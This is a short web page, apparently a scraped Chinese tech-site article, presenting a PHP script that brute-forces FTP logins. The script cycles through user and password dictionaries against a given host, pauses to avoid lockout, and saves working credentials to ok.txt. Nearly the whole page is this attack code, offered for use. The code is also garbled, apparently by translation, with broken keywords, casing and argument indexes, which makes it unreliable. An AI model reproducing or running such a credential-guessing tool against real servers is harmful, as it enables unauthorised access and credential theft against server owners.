Usage: PHP this file. PHP FTP IP port user dictionary password dictionary, example: PHP ftp.php 192.168.8.10 user.dic pass.dic. You can change the number of seconds in sleep, after the success of the user name and password saved in the same directory ok.txt.
Separate user name and n password corresponding to each other
$user =file ($_server["argv"][3]);
$pass =file ($_server["argv"][4]);
$countuser =count ($user);
$countpass =count ($pass);
$n = 0;
Do
{
for ($i =0; $i < $countpass; $i = $i + 1) {
echo "$user [$n], $pass [$i]";
FTPLogin ($user [$n], $pass [$i]);//Call the FTP function
Sleep (5);//Prevent FTP from being shut down for 5 seconds
Continue;
}
$n + +;
}
while ($n < $countuser);
FTP function, login successfully write the correct user name and password to the ok.txt in this directory
function FTPLogin ($username, $password) {
Global $username, $password;
$host =$_server["argv"][1];
$port =$_server["argv"][2];
$conn = Ftp_connect ($host, $port);
if (! $conn) {
echo "Cannot connect FTP";
Exit
}
@ $result =ftp_login ($conn, $username, $password);
if (! $result) {
echo "Error";
Ftp_quit ($conn);
}
else{
echo "---------------------------------->ok";
Fputs (fopen (ok.txt,a+), "User name:". $username. " Password: ". $password);
}
}
?>
http://www.bkjia.com/PHPjc/532404.html www.bkjia.com true http://www.bkjia.com/PHPjc/532404.html techarticle PHP //Usage: PHP this file. PHP FTP IP port user dictionary password dictionary, example: PHP ftp.php 192.168.8.10 user.dic pass.dic. Can change the number of seconds in sleep, burst into ...